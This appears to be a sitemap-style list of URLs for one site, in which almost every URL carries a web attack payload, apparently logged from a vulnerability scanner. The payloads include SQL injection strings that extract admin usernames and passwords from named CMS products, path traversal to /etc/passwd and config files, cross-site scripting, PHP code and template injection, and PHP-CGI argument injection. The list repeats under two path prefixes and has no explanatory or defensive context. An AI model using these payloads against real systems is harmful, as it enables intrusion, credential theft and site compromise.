http://www.cncml.com/admin_blog/admin_w/index.php?ac=search&at=taglist&tagkey=%2527,tags)%20or(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,table_name,0x27,0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?ac=search&at=taglist&tagkey=a%2527 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?act=coupon&area_id=&city_id=1&class_id=&class_id_1=&mall_id=&op=list&orderby=coupon_end_time&sort=-12%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x23,md5(1122),0x23,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=2&class_id_1=8&pconsume=&orderby=person_consume&sort=,(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20CHAR(100,%2056,%20100,%2057,%2048,%2097,%2097,%2057,%2052,%2051,%20101,%2052,%2097,%20100,%20100,%2050)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=3&class_id_1=22&pconsume=&orderby=add_time%20asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&sort=asc 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?act=search&key=click&order=desc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&cate_id=8 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?act=show_groupbuy&op=groupbuy_list&groupbuy_area=&groupbuy_class=&groupbuy_price=1&groupbuy_order_key=price&groupbuy_order=asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?action=article&do=show&todo=content&a=282%20AND%20(SELECT%203853%20FROM(SELECT%20COUNT(*),CONCAT(0x6366726565723A,(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)),0x3A696A783A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?action=detail&do=offer&title=%2527or%25201%253D2%2523 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?action=school&todo=content&do=-1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?action=shop&todo=content&do=-1%20UNION%20SELECT%201,2,3,concat(0x7c,md5(1122),0x7c),5,6,7,8,9,10,11,12,13,14,15,16,17 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?action=teacher&teacher_id=(SELECT%201833%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&todo=infor 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?app=/../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?app=user&ac=../../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?app=user&ac=plugin&in=../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?app=widget&mod=Category&act=getChild&model_name=Schedule&method=runSchedule&id%5Btask_to_run%5D=addons/Area)-%3EgetAreaList();print(md5(1122));%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?c=ajax&a=member_login&template=../../ooxx.php 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?c=api&a=down&file=YWQ2OVpRcGJtL3d3NWh5WmVxbkNYbGRnZjVnalFLSXRaWkRpT1dVZmNXQ1BqNjhPeE82RkpKak1iWUZwcDZrK2tXaFZYdTRZ 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?c=api&m=data&auth=finecms&param=action%3Dcache%20name%3DSPACE-MODEL.1%27%5D%3Bprint%28md5%281122%29%29%3B%2f%2f 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?c=buylist&a=dellist&id=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?c=tj&f=include&js=/../../config.php 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?c=ueditor&f=remote_image&upfile=http://0.0.0.0/reer.php 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?caid=1&ccid12=12&fsale=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?case=archive&act=orders 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?case=archive&act=orders&aid%5Baid%60%3D2%20and%200%20union%20select%201,2,3,char(106),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,md5(1122),36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_user%20where%20userid%3C2%20%20--%20%20a%5D=26 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?case=archive&act=orders&aid%5Btypeid%60%3d1%20UNION%20SELECT@typeid,2,3,concat(0x7e,md5(1122),0x7e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_archive%20ORDER%20BY%201%23%5D=10 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?case=archive&act=search&keyword=webscan%25%2527%29%09union%09select%090%2C0%2C0%2Cconcat%28username%2Cpassword%29%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%09from%09cmseasy_user%09where%09groupid%3D2%09union%09SELECT%09*%09FROM%09%60cmseasy_archive%60%09WHERE%09%28title%09like%09%2527%25aaaaaaaa 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?case=manage&act=delete&manage=orders&guest=1&id=-1 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?case=tag&act=show&tag=%2522%20union%20select%200x2D3120756E696F6E2073656C65637420312C307833313239323037353645363936463645323037333635364336353633373432303331324333323243333332433644363433353238333533353332333233313331333233323239324333353243333632433337324333383243333932433331333032433331333132433331333232433331333332433331333432433331333532433331333632433331333732433331333832433331333932433332333032433332333132433332333232433332333332433332333432433332333532433332333632433332333732433332333832433332333932433333333032433333333132433333333232433333333332433333333432433333333532433333333632433333333732433333333832433333333932433334333032433334333132433334333232433334333332433334333432433334333532433334333632433334333732433334333832433334333932433335333032433335333132433335333232433335333332433335333432433335333532433335333632433335333732433335333832303636373236463644323036333644373336353631373337393546373537333635373232332C332D2D,2%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?controller=block&action=goodsCommend&id=0)%20Union%20select%201,md5(1122)%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?controller=block&action=spec_value_list&id=1%20union%20select%201,%28Select%20concat%280x5b,admin_name,0x3a,PassWord,0x5d%29%29,3,4,5,6%20from%20iwebshop_admin 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?controller=site&action=getProduct&specJSON=%7B%20%22people%22:%221'%20and%201=2%20union%20select%20md5(1122),2,3,4,5,6,7,8,9%20and%20'1'='1%22%7D 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?ctl=deals&k=pp%25%27%29and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?ctl=help&act=term%27%20and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,CONCAT(0x7c,username,0x7c,password,0x7c,CHAR(119,101,98,115,99,97,110)),7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20wiki_user%20where%20groupid=4%20limit%201%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?id=-1%7C%7C1%20group%20by%20mid(md5(1122)%20from%20rand()*10%20for%2030)having%20min(1)%23&mod=compare 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?id=product&c=project&cate=1&ext%5Bid%3C0%20union%20select%20111,2,3,4,5,6,md5(1122),8,9%20,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%5D=1 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?index=a&skin=default/../&dataoptimize_html=/../../templates/default/images/css/metinfo.css 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?keywords=zzz333&mod=search 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?language_id=1%20and%20%20%28SELECT%201%20from%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28select%28md5%281122%29%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23&is_protect=1&action=cccc 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=Ajax&a=gettypeattr&type_id=1%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=Goods&a=showByUname&uname=%2527AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=Goods&a=showcate&id=1'cfreer 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=Order&a=index 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201,2,concat(user,0x7c,password),4,5,6,7,8%20from%20webscan%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=websec%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*),concat(floor(rand(0)*2),(substring((select(selEctconcat(user,0x7c,password)%20from%20b2bbuilder_admin%20limit%200,1)),1,62)))a%20frominformation_schema.tables%20group%20by%20a)b) 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=company&s=space_mail&tid=1)%20and%201=websec%20%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201,12,123%20from%20webscan%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=message&s=inquiry_basket 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20websec) 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28selEct%20concat%28user,0x7c,password%29%20from%20f10bd198561acb0197452013b7a82429%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=poster&c=index&a=poster_click&id=1 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs= 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?mod=../admin/admin&a=list 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?mod=../admin/admin&ac=list 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?product-%22%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20-1122-viewpic.html 0.0001 http://www.cncml.com/admin_blog/admin_w/index.php?q=1%25%2527%2520and%25201%253D2%2520%2523&do=search&action=lists&module=product 0.0001 http://www.cncml.com/admin_blog/index.php 0.0003 http://www.cncml.com/admin_blog/index.php/*123*/'union/**/select/**/1,2,3,4,5,6,7,8,md5(1122),10,11#&action=getatlbyid 0.0001 http://www.cncml.com/admin_blog/index.php/?Itemid=11&option=com_search&searchword=%f6%22%20onmouseover%3dprompt(3312)%20//&task=search 0.0001 http://www.cncml.com/admin_blog/index.php/Index/index/name/$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/admin_blog/index.php/Site/article/id/-5724)+UNION+ALL+SELECT+11,11,11,0x63656461723A66696E643A696969696969,11,11,11,11,11,11,11,11,11#.html 0.0001 http://www.cncml.com/admin_blog/index.php/Site/listTpl/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/admin_blog/index.php/Site/page/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/admin_blog/index.php/abc-abc-abc-$%7B@exit(md5(118741911))%7D/ 0.0001 http://www.cncml.com/admin_blog/index.php/cms/item-comment?callback=jsonp1380096883458'%22()%26%25%3Cscript%3Eprompt(42873)%3C/script%3E&iid=114&page=1&view_page=1&_=1380096883791&_ajax_request= 0.0001 http://www.cncml.com/admin_blog/index.php/product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(0x7c,admin_name,0x7c,admin_pw,0x7c,sha1(0x3336307765627363616e))+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19%20and+'1'='1 0.0001 http://www.cncml.com/admin_blog/index.php/weblinks-categories?id=just_test 0.0001 http://www.cncml.com/admin_blog/index.php?%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/admin_blog/index.php?-dauto_prepend_file%3d/etc/passwd+-n 0.0001 http://www.cncml.com/admin_blog/index.php?_COOKIE%5Bcfg%5D%5Bdatabase%5D=mysql&_COOKIE%5Bcfg%5D%5Bdb_host%5D=localhost&_COOKIE%5Bcfg%5D%5Bdb_user%5D=webscan&_COOKIE%5Bcfg%5D%5Bdb_pass%5D=reer&_COOKIE%5Bcfg%5D%5Bdb_name%5D=db 0.0001 http://www.cncml.com/admin_blog/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+%60phpcmsv9%60.v9_admin+Order+by+userid+limit+0,1)+)+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)a)+and+'1'%3D'1 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/index.php?ac=order&at=list 0.0001 http://www.cncml.com/admin_blog/index.php?ac=search&at=taglist&tagkey=%2527,tags)%20or(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,table_name,0x27,0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/index.php?ac=search&at=taglist&tagkey=a%2527 0.0001 http://www.cncml.com/admin_blog/index.php?act=coupon&area_id=&city_id=1&class_id=&class_id_1=&mall_id=&op=list&orderby=coupon_end_time&sort=-12%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x23,md5(1122),0x23,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/admin_blog/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=2&class_id_1=8&pconsume=&orderby=person_consume&sort=,(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20CHAR(100,%2056,%20100,%2057,%2048,%2097,%2097,%2057,%2052,%2051,%20101,%2052,%2097,%20100,%20100,%2050)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=3&class_id_1=22&pconsume=&orderby=add_time%20asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&sort=asc 0.0001 http://www.cncml.com/admin_blog/index.php?act=search&key=click&order=desc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&cate_id=8 0.0001 http://www.cncml.com/admin_blog/index.php?act=show_groupbuy&op=groupbuy_list&groupbuy_area=&groupbuy_class=&groupbuy_price=1&groupbuy_order_key=price&groupbuy_order=asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23 0.0001 http://www.cncml.com/admin_blog/index.php?action=article&do=show&todo=content&a=282%20AND%20(SELECT%203853%20FROM(SELECT%20COUNT(*),CONCAT(0x6366726565723A,(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)),0x3A696A783A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/admin_blog/index.php?action=detail&do=offer&title=%2527or%25201%253D2%2523 0.0001 http://www.cncml.com/admin_blog/index.php?action=school&todo=content&do=-1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/index.php?action=shop&todo=content&do=-1%20UNION%20SELECT%201,2,3,concat(0x7c,md5(1122),0x7c),5,6,7,8,9,10,11,12,13,14,15,16,17 0.0001 http://www.cncml.com/admin_blog/index.php?action=teacher&teacher_id=(SELECT%201833%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&todo=infor 0.0001 http://www.cncml.com/admin_blog/index.php?app=/../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/index.php?app=user&ac=../../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/index.php?app=user&ac=plugin&in=../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/index.php?app=widget&mod=Category&act=getChild&model_name=Schedule&method=runSchedule&id%5Btask_to_run%5D=addons/Area)-%3EgetAreaList();print(md5(1122));%23 0.0001 http://www.cncml.com/admin_blog/index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg 0.0001 http://www.cncml.com/admin_blog/index.php?c=ajax&a=member_login&template=../../ooxx.php 0.0001 http://www.cncml.com/admin_blog/index.php?c=api&a=down&file=YWQ2OVpRcGJtL3d3NWh5WmVxbkNYbGRnZjVnalFLSXRaWkRpT1dVZmNXQ1BqNjhPeE82RkpKak1iWUZwcDZrK2tXaFZYdTRZ 0.0001 http://www.cncml.com/admin_blog/index.php?c=api&m=data&auth=finecms&param=action%3Dcache%20name%3DSPACE-MODEL.1%27%5D%3Bprint%28md5%281122%29%29%3B%2f%2f 0.0001 http://www.cncml.com/admin_blog/index.php?c=buylist&a=dellist&id=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/admin_blog/index.php?c=tj&f=include&js=/../../config.php 0.0001 http://www.cncml.com/admin_blog/index.php?c=ueditor&f=remote_image&upfile=http://0.0.0.0/reer.php 0.0001 http://www.cncml.com/admin_blog/index.php?caid=1&ccid12=12&fsale=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/admin_blog/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/index.php?case=archive&act=orders 0.0001 http://www.cncml.com/admin_blog/index.php?case=archive&act=orders&aid%5Baid%60%3D2%20and%200%20union%20select%201,2,3,char(106),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,md5(1122),36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_user%20where%20userid%3C2%20%20--%20%20a%5D=26 0.0001 http://www.cncml.com/admin_blog/index.php?case=archive&act=orders&aid%5Btypeid%60%3d1%20UNION%20SELECT@typeid,2,3,concat(0x7e,md5(1122),0x7e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_archive%20ORDER%20BY%201%23%5D=10 0.0001 http://www.cncml.com/admin_blog/index.php?case=archive&act=search&keyword=webscan%25%2527%29%09union%09select%090%2C0%2C0%2Cconcat%28username%2Cpassword%29%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%09from%09cmseasy_user%09where%09groupid%3D2%09union%09SELECT%09*%09FROM%09%60cmseasy_archive%60%09WHERE%09%28title%09like%09%2527%25aaaaaaaa 0.0001 http://www.cncml.com/admin_blog/index.php?case=manage&act=delete&manage=orders&guest=1&id=-1 0.0001 http://www.cncml.com/admin_blog/index.php?case=tag&act=show&tag=%2522%20union%20select%200x2D3120756E696F6E2073656C65637420312C307833313239323037353645363936463645323037333635364336353633373432303331324333323243333332433644363433353238333533353332333233313331333233323239324333353243333632433337324333383243333932433331333032433331333132433331333232433331333332433331333432433331333532433331333632433331333732433331333832433331333932433332333032433332333132433332333232433332333332433332333432433332333532433332333632433332333732433332333832433332333932433333333032433333333132433333333232433333333332433333333432433333333532433333333632433333333732433333333832433333333932433334333032433334333132433334333232433334333332433334333432433334333532433334333632433334333732433334333832433334333932433335333032433335333132433335333232433335333332433335333432433335333532433335333632433335333732433335333832303636373236463644323036333644373336353631373337393546373537333635373232332C332D2D,2%23 0.0001 http://www.cncml.com/admin_blog/index.php?controller=block&action=goodsCommend&id=0)%20Union%20select%201,md5(1122)%23 0.0001 http://www.cncml.com/admin_blog/index.php?controller=block&action=spec_value_list&id=1%20union%20select%201,%28Select%20concat%280x5b,admin_name,0x3a,PassWord,0x5d%29%29,3,4,5,6%20from%20iwebshop_admin 0.0001 